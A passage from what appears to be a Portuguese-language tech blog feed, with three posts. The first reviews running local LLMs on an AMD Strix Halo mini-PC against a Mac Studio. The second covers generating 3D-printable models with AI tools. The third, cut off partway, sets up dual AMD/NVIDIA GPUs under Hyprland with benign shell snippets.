    <a href="#um-bug-de-rocm-que-ainda-existe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Nem tudo funciona. Modelos como deepseek-r1:70b, llama3.3:70b e llama4:scout crasham com um bug no ggml (<code>GGML_ASSERT(ggml_nbytes(src0) &lt;= INT_MAX) failed</code>). O tensor de embedding desses modelos excede 2GB e o kernel de cópia do ROCm usa inteiro de 32 bits pro tamanho. No CUDA (NVIDIA) já foi corrigido, mas no ROCm ainda não. Esperando o fix no Ollama 0.20.0+.</p>
<h2>LPDDR5X vs GDDR7: por que essa diferença<span class="hx:absolute hx:-mt-20" id="lpddr5x-vs-gddr7-por-que-essa-diferença"></span>
    <a href="#lpddr5x-vs-gddr7-por-que-essa-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A pergunta que vem é: por que a LPDDR5X é tão mais lenta?</p>
<p>GDDR7 é memória dedicada de GPU. Ela fica soldada na placa de vídeo, conectada por um barramento largo (384 ou 512 bits na RTX 5090) com clocks altos. O único trabalho dela é alimentar a GPU com dados. LPDDR5X é memória unificada que serve pra tudo: sistema operacional, aplicações, e GPU ao mesmo tempo. O barramento é mais estreito e compartilhado.</p>
<p>Na prática: GDDR7 entrega ~1.792 GB/s dedicados pra GPU. LPDDR5X entrega ~256 GB/s que ainda precisam ser divididos entre CPU e GPU. Inferência de LLM é basicamente &ldquo;leia todos os pesos do modelo da memória, multiplique pelo token atual, gere o próximo token, repita&rdquo;. Quem lê mais rápido, gera mais rápido. Não tem atalho.</p>
<p>A vantagem do Strix Halo não é velocidade. É capacidade. 96GB de VRAM num chip de 100W que custa uma fração de uma GPU profissional. A RTX 5090 é 7x mais rápida, mas trava em 32GB. Modelos que não cabem, não rodam.</p>
<h2>As alternativas: quem mais faz isso?<span class="hx:absolute hx:-mt-20" id="as-alternativas-quem-mais-faz-isso"></span>
    <a href="#as-alternativas-quem-mais-faz-isso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se 96GB não é suficiente ou se você quer mais velocidade, as opções são poucas.</p>
<p>O Framework Desktop usa o mesmo chip AI Max+ 395 com até 128GB de RAM. Mesma plataforma, mesma performance, mas com o diferencial de ser modular e reparável (é o Framework, afinal). Na prática é equivalente ao Minisforum em specs e preço.</p>
<p>Acima disso, a alternativa é o Mac Studio com M3 Ultra. O chip M3 Ultra suporta até 512GB de memória unificada, com bandwidth de ~819 GB/s (mais de 3x o Strix Halo). A Apple fabrica os chips de memória no package, então a latência e a bandwidth são superiores. Você poderia potencialmente alocar ~400GB como VRAM e rodar modelos que não cabem em lugar nenhum fora de servidores com GPUs profissionais.</p>
<p>O NVMe interno da Apple também é outro nível: ~7.4 GB/s de leitura sequencial no M3 Ultra, comparado com ~14 GB/s do Crucial T700 (PCIe 5.0). O T700 é mais rápido em throughput bruto, mas a latência do NVMe da Apple tende a ser menor em I/O aleatório por causa da integração com o SoC.</p>
<table>
  <thead>
      <tr>
          <th>Spec</th>
          <th>Minisforum MS-S1 Max</th>
          <th>Mac Studio M3 Ultra (max)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>RAM máxima</td>
          <td>128 GB LPDDR5X</td>
          <td>512 GB unified</td>
      </tr>
      <tr>
          <td>VRAM alocável</td>
          <td>~96 GB</td>
          <td>~400 GB</td>
      </tr>
      <tr>
          <td>Memory bandwidth</td>
          <td>~256 GB/s</td>
          <td>~819 GB/s</td>
      </tr>
      <tr>
          <td>CPU</td>
          <td>Zen 5, 16C/32T</td>
          <td>Apple M3 Ultra, 32C</td>
      </tr>
      <tr>
          <td>GPU compute</td>
          <td>ROCm (gfx1151, experimental)</td>
          <td>Metal (mlx, mature)</td>
      </tr>
      <tr>
          <td>Consumo</td>
          <td>~100W</td>
          <td>~135W</td>
      </tr>
      <tr>
          <td>NVMe</td>
          <td>PCIe 5.0 (slot padrão)</td>
          <td>Custom Apple (~7.4 GB/s)</td>
      </tr>
      <tr>
          <td>Preço (EUA)</td>
          <td>~$1.500-2.000</td>
          <td>~$9.999 (512GB config)</td>
      </tr>
      <tr>
          <td>Preço estimado (Brasil)</td>
          <td>~R$ 12.000-15.000</td>
          <td>~R$ 110.000+ (importação)</td>
      </tr>
  </tbody>
</table>
<p>O preço no Brasil é o elefante na sala. A configuração máxima do Mac Studio custa $9.999 nos EUA. Com impostos de importação (~60% + ICMS estadual), passa dos R$ 110.000. O Minisforum com 128GB sai por R$ 12.000-15.000. A diferença de quase 8x no preço compra muita coisa.</p>
<p>Se você precisa de mais de 96GB de VRAM pra modelos realmente enormes (DeepSeek-V3 com 671B parâmetros cabe em ~400GB Q4, por exemplo), o Mac Studio com 512GB é a única opção consumer. A alternativa seria GPUs profissionais NVIDIA A6000 (48GB VRAM, ~$6.000 cada, e você precisaria de várias em NVLink). Pra tudo que cabe em 96GB, o Minisforum faz o trabalho por uma fração do custo.</p>
<h2>E projetos que prometem rodar LLMs grandes em GPUs pequenas?<span class="hx:absolute hx:-mt-20" id="e-projetos-que-prometem-rodar-llms-grandes-em-gpus-pequenas"></span>
    <a href="#e-projetos-que-prometem-rodar-llms-grandes-em-gpus-pequenas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Existe o conceito de &ldquo;layer offloading&rdquo; que projetos como llama.cpp já suportam. A ideia é: se o modelo não cabe inteiro na VRAM, mantém algumas camadas na GPU e o resto na RAM do sistema. A GPU processa as camadas que estão nela, transfere pro CPU processar o resto, e volta.</p>
<p>Na prática, não funciona bem. O gargalo é o PCIe: a velocidade de transferência entre RAM do sistema e VRAM da GPU é de ~32 GB/s (PCIe 5.0 x16). Cada token gerado precisa transferir dados ida e volta. O resultado é que você cai de 150 tok/s (tudo na VRAM) pra 2-8 tok/s (offload parcial). É lento demais pra uso interativo.</p>
<p>A VRAM é a limitação fundamental porque inferência de LLM é memory-bandwidth-bound, não compute-bound. A GPU tem compute sobrando. O que falta é capacidade de ler os pesos do modelo rápido o suficiente. Quando parte dos pesos está em RAM via PCIe, o pipeline inteiro espera pela transferência.</p>
<p>É por isso que memória unificada (como no Strix Halo ou no Apple Silicon) faz diferença. Não tem PCIe no meio. CPU e GPU acessam a mesma memória física. Os 256 GB/s do Strix Halo são lentos comparados com GDDR7, mas são 8x mais rápidos que ficar fazendo offload via PCIe.</p>
<h2>Avanços em otimização de LLMs (até 2026)<span class="hx:absolute hx:-mt-20" id="avanços-em-otimização-de-llms-até-2026"></span>
    <a href="#avan%c3%a7os-em-otimiza%c3%a7%c3%a3o-de-llms-at%c3%a9-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender por que alguns modelos rodam tão melhor que outros no Strix Halo, precisa entender o que mudou no ecossistema nos últimos dois anos.</p>
<h3>Mixture of Experts (MoE)<span class="hx:absolute hx:-mt-20" id="mixture-of-experts-moe"></span>
    <a href="#mixture-of-experts-moe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você roda modelos locais, MoE é o avanço que mais importa. Um modelo MoE tem parâmetros totais altos (ex: 122B no qwen3.5:122b), mas ativa apenas uma fração deles por token (ex: ~4B). Os pesos inativos ficam na VRAM mas não são lidos a cada token, o que reduz drasticamente a bandwidth necessária.</p>
<p>Nos benchmarks do Strix Halo, modelos MoE rodam 3-10x mais rápido que modelos densos do mesmo tamanho. O qwen3.5:35b (MoE, ~4B ativos) roda a 43 tok/s enquanto o qwen2.5:72b (denso, 72B ativos) roda a 4.5 tok/s.</p>
<h3>DeepSeek e a otimização de treinamento<span class="hx:absolute hx:-mt-20" id="deepseek-e-a-otimização-de-treinamento"></span>
    <a href="#deepseek-e-a-otimiza%c3%a7%c3%a3o-de-treinamento" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O DeepSeek V3 (dezembro 2024) mostrou que era possível treinar modelos de 671B parâmetros com custo uma ordem de magnitude menor que o previsto. Eles combinaram MoE com quantização FP8 durante o treinamento (não só na inferência), treinamento multi-estágio com curriculum learning, e várias otimizações de comunicação entre GPUs. O impacto: todo mundo copiou. Qwen, GLM, MiniMax, todos adotaram variações dessa técnica.</p>
<h3>Quantização: de FP16 pra Q4 sem perder muito<span class="hx:absolute hx:-mt-20" id="quantização-de-fp16-pra-q4-sem-perder-muito"></span>
    <a href="#quantiza%c3%a7%c3%a3o-de-fp16-pra-q4-sem-perder-muito" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quantização comprime os pesos do modelo de 16 bits (FP16) pra formatos menores: 8 bits (Q8), 4 bits (Q4), ou até 2 bits. Um modelo de 70B que ocuparia ~140GB em FP16 cabe em ~40GB em Q4_K_M. A perda de qualidade existe, mas nos formatos modernos (GGUF Q4_K_M, AWQ, EXL2) é pequena o suficiente pra uso prático.</p>
<p>O GGUF (formato do llama.cpp) se tornou o padrão pra inferência local. AWQ e GPTQ são alternativas com calibração mais sofisticada, mas o ecossistema convergiu pro GGUF porque ele funciona em CPU, CUDA e ROCm sem recompilação.</p>
<h3>Destilação: modelos menores que sabem mais<span class="hx:absolute hx:-mt-20" id="destilação-modelos-menores-que-sabem-mais"></span>
    <a href="#destila%c3%a7%c3%a3o-modelos-menores-que-sabem-mais" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Destilação é treinar um modelo pequeno usando as respostas de um modelo grande como professor. O Phi-4 da Microsoft (14B) foi treinado com destilação do GPT-4 e compete com modelos de 70B em vários benchmarks. O Qwen3 fez o mesmo: o qwen3:14b é surpreendentemente capaz pro tamanho.</p>
<h3>Flash Attention e KV Cache otimizado<span class="hx:absolute hx:-mt-20" id="flash-attention-e-kv-cache-otimizado"></span>
    <a href="#flash-attention-e-kv-cache-otimizado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Flash Attention (Tri Dao, 2022) mudou como attention é computada: em vez de materializar a matriz inteira de attention na memória, processa em blocos mantendo os dados no SRAM on-chip da GPU, reduzindo consumo de memória de O(n²) pra O(n). Sem isso, contextos de 128K+ tokens seriam impraticáveis. Já passou pelas versões 2 e 3, com otimizações pra FP8 e operações assíncronas no H100. O PagedAttention (vLLM, UC Berkeley) fez o mesmo pro KV cache durante serving: aplica conceitos de memória virtual ao cache, eliminando fragmentação e melhorando throughput 2-4x.</p>
<p>No Ollama, eu configurei <code>OLLAMA_FLASH_ATTENTION=1</code> e <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> no servidor. O primeiro ativa flash attention, o segundo usa KV cache em 8-bit em vez de fp16, cortando a bandwidth necessária pela metade por token. São otimizações que custam zero em hardware e melhoram throughput mensurável.</p>
<h3>O que Qwen, Kimi, MiniMax e GLM estão fazendo<span class="hx:absolute hx:-mt-20" id="o-que-qwen-kimi-minimax-e-glm-estão-fazendo"></span>
    <a href="#o-que-qwen-kimi-minimax-e-glm-est%c3%a3o-fazendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O Qwen (Alibaba) tem sido consistentemente o melhor custo-benefício em modelos open source. O Qwen3:14b é denso e forte; o Qwen3.5:122b é MoE e roda surpreendentemente bem em 96GB. O GLM-4.7 (Zhipu AI) é notável por oferecer versões bf16 full precision que rodam inteiras em 96GB. O MiniMax experimentou com contextos longos (até 4M tokens). O Kimi (Moonshot AI) focou em context windows grandes com arquiteturas lineares.</p>
<h3>O que roda bem em 96GB de VRAM<span class="hx:absolute hx:-mt-20" id="o-que-roda-bem-em-96gb-de-vram"></span>
    <a href="#o-que-roda-bem-em-96gb-de-vram" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Com 96GB no Strix Halo, os modelos que funcionam bem pra uso diário:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>tok/s</th>
          <th>Uso</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>qwen3.5:35b</td>
          <td>24 GB</td>
          <td>43.2</td>
          <td>Uso geral, excelente</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>52 GB</td>
          <td>29.5</td>
          <td>Código, MoE</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81 GB</td>
          <td>19.2</td>
          <td>Pesado mas usável</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>60 GB</td>
          <td>17.9</td>
          <td>Full precision</td>
      </tr>
      <tr>
          <td>qwen2.5-coder:32b</td>
          <td>20 GB</td>
          <td>10.2</td>
          <td>Código, denso</td>
      </tr>
      <tr>
          <td>deepseek-r1:32b</td>
          <td>20 GB</td>
          <td>7.4</td>
          <td>Raciocínio</td>
      </tr>
  </tbody>
</table>
<p>Modelos densos de 70B+ (deepseek-r1:70b, llama3.3:70b) ainda estão bloqueados pelo bug do ROCm que mencionei. Quando for corrigido, devem rodar a ~4-6 tok/s, usáveis pra batch mas não pra chat interativo.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu comprei o Minisforum pra rodar modelos que não cabem em GPU gamer nenhuma. Pra isso, funciona. Não é rápido. 19 tok/s num modelo de 122B não é a experiência que você tem com Claude ou ChatGPT. Mas é local, é privado, e roda na minha prateleira consumindo menos energia que uma lâmpada antiga.</p>
<p>Pra quem pergunta sobre o Mac Studio: se você tem orçamento, é a melhor máquina pra rodar LLMs locais. 512GB de memória unificada, 819 GB/s de bandwidth, ecossistema Metal/mlx maduro. Dá pra rodar DeepSeek-V3 inteiro em Q4. Mas no Brasil, com importação, passa dos R$ 110 mil. O Minisforum com 128GB por R$ 12-15 mil é a opção realista.</p>
<p>E pra quem acha que dá pra contornar a limitação de VRAM com offloading de camadas: não dá. PCIe é lento demais. O modelo precisa caber inteiro na VRAM pra inferência ser usável. É o motivo pelo qual GPUs gamers com 32GB de GDDR7 ultra-rápida continuam limitadas em tamanho de modelo, e por que a memória unificada do Strix Halo e do Apple Silicon mudou a equação.</p>
<p>No <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">próximo post</a> eu conto como migrei todo o home server pro Minisforum usando Claude Code, os problemas que encontrei, e como o openSUSE MicroOS se comporta como sistema operacional de servidor Docker.</p>
]]></content:encoded><category>hardware</category><category>modelos-locais</category><category>performance</category><category>reviews</category></item><item><title>AI 3D: Já dá pra modelar 3D com prompts?</title><link>https://www.akitaonrails.com/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/</guid><pubDate>Fri, 23 Jan 2026 12:13:58 -0300</pubDate><description>&lt;p&gt;Alguns dias atrás eu tinha feito um post sobre como usar Blender com IAs locais usando Blender MCP. E a conclusão era que a qualidade era ruim.&lt;/p&gt;
&lt;p&gt;Mas fui prematuro na conclusão. Opções open source ainda variam bastante em qualidade, maioria não é muito boa, mas as opções comerciais são muito boas e bem estáveis. Não vou listar tudo que existe então fica minha recomendação de dois canais no YouTube pra se manter atualizado:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Alguns dias atrás eu tinha feito um post sobre como usar Blender com IAs locais usando Blender MCP. E a conclusão era que a qualidade era ruim.</p>
<p>Mas fui prematuro na conclusão. Opções open source ainda variam bastante em qualidade, maioria não é muito boa, mas as opções comerciais são muito boas e bem estáveis. Não vou listar tudo que existe então fica minha recomendação de dois canais no YouTube pra se manter atualizado:</p>
<ul>
<li><a href="https://www.youtube.com/@PixelArtistry_"target="_blank" rel="noopener"><strong>PixelArtistry_</strong></a></li>
<li><a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener"><strong>Stefan 3D AI Lab</strong></a></li>
</ul>
<p>Na prática, existem vários workflows de ComfyUI pra brincar, como neste tutorial ensinando a usar o <a href="https://www.youtube.com/watch?v=H7gqMnK7wUc"target="_blank" rel="noopener">recém-lançado modelo Trellis2</a>, da Microsoft. Não funciona perfeito como no video todas as vezes. Depende muito da imagem que se passar. Nos meus testes só consegui uns &ldquo;blobs&rdquo; deformados.</p>
<p>Mas no mundo comercial, existem 3 ferramentas que vale criar conta:</p>
<ul>
<li><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener">Hunyuan Global</a>, da Tencent. Existe a plataforma em chinês - que é mais completa - e a versão global em inglês que é mais limitada. Mas com ele é possível criar modelos 3D a partir de imagens com qualidade excepcional.</li>
<li><a href="https://www.hitem3d.ai/home"target="_blank" rel="noopener">Hitem3D</a> - é concorrente da Hunyuan, também é excelente pra gerar modelos 3D a partir de imagens. Vale testar nas duas porque dependendendo das imagens que se passar, uma pode resultar melhor que a outra.</li>
<li><a href="https://yvo3d.com/"target="_blank" rel="noopener">Yvo3D</a> - é uma das mais caras, mas especificamente pra gerar texturas em alta qualidade, parece que é o melhor disparado.</li>
</ul>
<p>Tem várias outras plataformas e pra se manter atualizado existe o site <a href="https://www.top3d.ai/"target="_blank" rel="noopener"><strong>Top3D.ai</strong></a> com o ranking das melhores ferramentas. A maioria costuma ter planos gratuitos, trial, ou coisas assim, então é bom testar quantas puder. O preço não é &ldquo;caro&rdquo; se você é um profissional que vai usar em trabalho pra cliente. Só é caro pra caras com eu, que usam como hobby.</p>
<p>Algumas que vale a pena testar são Hyper3D Rodin, Tripo AI, Prism e SAM 3D. Nos canais de YouTube que recomendei, tem videos sobre eles, então pelo menos assista.</p>
<h3>A carta na manga: Nano Banana<span class="hx:absolute hx:-mt-20" id="a-carta-na-manga-nano-banana"></span>
    <a href="#a-carta-na-manga-nano-banana" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O grande truque pra qualquer plataforma, seja open source ou comercial, é começar com imagens de boa qualidade. Imagens de Google Images, ou suas fotos mal tiradas, sempre vai resultar em modelos 3D ruins.</p>
<p>Pra limpar imagens, o jeito mais fácil é ir no <a href="https://gemini.google/br/overview/image-generation/?hl=pt-BR"target="_blank" rel="noopener"><strong>Google Nano Banana</strong></a>. É de longe a melhor plataforma de IA pra editar e gerar imagens.</p>
<p>Como exemplo, resolvi partir de uma imagem que minha namorada encomendou pra um artista no <strong>Fiverr</strong> e que mandamos fazer adesivos pra colar no nosso arcade. Esta imagem:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123341_TOMIKO_NAGAI%20left.png" alt="arcade original left"  loading="lazy" /></p>
<p>A primeira coisa que pedi ao Nano Banana foi pra remover o background e separar só a personagem. É o tipo de coisa que antigamente precisaria de Photoshop pra fazer. Olha como fica agora:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123457_no-background.png" alt="arcade no background"  loading="lazy" /></p>
<p>(não liguem que tá espelhado, fiquei com preguiça de pegar a imagem certa.)</p>
<p>Enfim, ainda não é o suficiente pra gerar 3D. No caso específico de gerar modelos de personagens, o ideal é ter imagens em <strong>&ldquo;T-Pose&rdquo;</strong>, &ldquo;pose em T&rdquo;, que é a pessoa ereta de pé com os braços abertos como Jesus. E ter fotos exatamente de frente, de trás, pela esquerda e pela direita.</p>
<p>E dá pra pedir pro Nano Banana fazer exatamente isso: <em>&ldquo;generate a front photo of this character in T-Pose, for 3D modeling&rdquo;</em> e ele vai gerar isso:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124015_front.png" alt="t-pose front"  loading="lazy" /></p>
<p>Metade do trabalho acabou neste passo. Sem isso não dá pra gerar modelos bons. Agora é só mandar gerar os outros ângulos, como de costas:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124004_back.png" alt="t-pose back"  loading="lazy" /></p>
<p>Mesma coisa, imagens do ângulo na esquerda, na direita e pronto. Pelo menos 4 imagens <strong>consistentes, coerentes, limpas</strong>.</p>
<h2>Hunyuan Global<span class="hx:absolute hx:-mt-20" id="hunyuan-global"></span>
    <a href="#hunyuan-global" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora é a parte simples. Basta escolher Hunyuan ou Hitem3D. No caso, escolhi Hunyuan:</p>
<p><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124227_screenshot-2026-01-23_12-42-16.png" alt="Hunyuan Generate"  loading="lazy" /></a></p>
<p>Só escolher o novo modelo versão 3.0 e mandar gerar com 1.5 milhões de polígonos (sim, é bem pesado, mas depois é só fazer remesh) e opcionalmente mandar gerar texturas (já sabendo que Hunyuan não é bom com texturas).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124359_screenshot-2026-01-18_13-35-13.png" alt="Hunyuan model"  loading="lazy" /></p>
<p>E olha o resultado. Perfeito! Do jeito que tá já dá pra usar. Como falei, ele não é muito bom com texturas, mas como meu objetivo pra esse teste foi imprimir na minha impressora 3D, não me preocupei com texturas.</p>
<p>Abrindo no Blender, posso colocar um modifier de remesh pra diminuir a resolução de polígonos e converter tudo em quads e fica assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124605_screenshot-2026-01-18_13-46-35.png" alt="Blender model"  loading="lazy" /></p>
<p>E de cara já tentei imprimir e saiu assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124749_20260123_124442.png" alt="Bambulab 3d Print"  loading="lazy" /></p>
<p>Fiquei particularmente impressionado com os detalhes: nada torto, nada fora do lugar, mãos com 5 dedos, proporções corretas, detalhes no rosto perfeitos, cabelo perfeito.</p>
<blockquote>
  <p>Pense nisso: fui do nada, ao IA, a uma impressão 3D física!</p>

</blockquote>
<p>E agora que eu tenho esse modelo, posso mandar pro <a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><strong>Adobe Mixamo</strong></a>, que é uma ferramenta online pra re-usar poses pré-prontas.</p>
<p><a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124934_screenshot-2026-01-18_14-12-07.png" alt="mixamo pose"  loading="lazy" /></a></p>
<p>Consigo subir meu modelo, calibrar a armatura/esqueleto e colocar na pose que eu quiser. Eis um exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123125208_screenshot-2026-01-23_12-51-46.png" alt="model sitting"  loading="lazy" /></p>
<p>No Blender consigo calibrar peso de partes do mesh e outros detalhes pra melhorar a pose, mas os 80% do trabalho já foi feito automaticamente. Com isso consigo fazer animações e muito mais.</p>
<p>Portanto, sim, modelagem 3D já é uma realidade com IA. Existem dezenas de ferramentas pra diferentes casos de uso e especialidades, como geração de texturas, esqueletos, animação.</p>
<p>O principal: comece com uma boa fundação usando Nano Banana como falei, esse é o principal truque pro resto funciona direito. E fiquem sempre de olho na Tencent: o Hunyuan é o modelo mais interessante.</p>
<p>No mundo open source tem o Hunyuan pequeno pra rodar local e agora o Trellis2. Também fiquem de olho em novos workflow que usem esses dois juntos no ComfyUI.</p>
<p>Do meu lado, pra fazer coisas simples que eu quero imprimir em 3D na minha Bambulab X1C, isso já tá mais que excelente!</p>
]]></content:encoded><category>midia-generativa</category><category>hardware</category></item><item><title>Omarchy 3: Setup de Dual GPUs com AMD e NVIDIA</title><link>https://www.akitaonrails.com/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/</guid><pubDate>Wed, 21 Jan 2026 15:29:35 -0300</pubDate><description>&lt;p&gt;Mais um post só pra eu não me esquecer destes detalhes na configuração do &lt;a href="https://omarchy.org/"target="_blank" rel="noopener"&gt;Omarchy&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hyprland não funciona bem com NVIDIA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dá pra usar. Mas tem vários probleminhas, em particular com &lt;a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener"&gt;Hyprlock&lt;/a&gt;, em particular com DPMS onde eu deixo meu computador em idle, daí ele se bloqueia, e depois de um timeout desliga os monitores pra economizar energia, não ter burn in, etc.&lt;/p&gt;
&lt;p&gt;Quando eu tento acordar do sleep, o Hyprlock crasheou e eu preciso ir pra outro TTY pra reiniciar, até fiz um script &lt;code&gt;~/.local/bin/hypr_unlock.sh&lt;/code&gt; assim:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Mais um post só pra eu não me esquecer destes detalhes na configuração do <a href="https://omarchy.org/"target="_blank" rel="noopener">Omarchy</a>:</p>
<blockquote>
  <p>Hyprland não funciona bem com NVIDIA</p>

</blockquote>
<p>Dá pra usar. Mas tem vários probleminhas, em particular com <a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener">Hyprlock</a>, em particular com DPMS onde eu deixo meu computador em idle, daí ele se bloqueia, e depois de um timeout desliga os monitores pra economizar energia, não ter burn in, etc.</p>
<p>Quando eu tento acordar do sleep, o Hyprlock crasheou e eu preciso ir pra outro TTY pra reiniciar, até fiz um script <code>~/.local/bin/hypr_unlock.sh</code> assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;keyword misc:allow_session_lock_restore 1&#39;</span>
</span></span><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;dispatch exec hyprlock&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mas aí desbloqueia e eu vejo que meu Brave crasheou também. A nvidia realmente não gosta que desliguem o monitor enquanto ele tá ativo. Disseram que isso acontecia no Hyprlock 0.9.1 mas eu já estou no 0.9.2 e continua crasheando. Tentei habilitar serviços como nvidia-suspend/resume/hibernate mas nada também.</p>
<p>No fim do dia resolvi que não vale a pena brigar com isso: eu tenho uma <strong>AMD 7850X3D</strong> e essa CPU tem uma iGPU (GPU integrada), uma AMD Raphael, que pra coisas como renderizar um gerenciador de janelas, é mais do que potente o suficiente.</p>
<p>Primeiro, detectar as GPUs:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ ls /dev/dri/by-path
</span></span><span class="line"><span class="cl">Permissions Size User Date Modified Name
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-card -&gt; ../card1
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-render -&gt; ../renderD128
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-card -&gt; ../card2
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-render -&gt; ../renderD129</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra saber qual é AMD e qual é NVIDIA só executar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lspci <span class="p">|</span> grep -i vga
</span></span><span class="line"><span class="cl">01:00.0 VGA compatible controller: NVIDIA Corporation GB202 <span class="o">[</span>GeForce RTX 5090<span class="o">]</span> <span class="o">(</span>rev a1<span class="o">)</span>
</span></span><span class="line"><span class="cl">1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. <span class="o">[</span>AMD/ATI<span class="o">]</span> Raphael <span class="o">(</span>rev c9<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
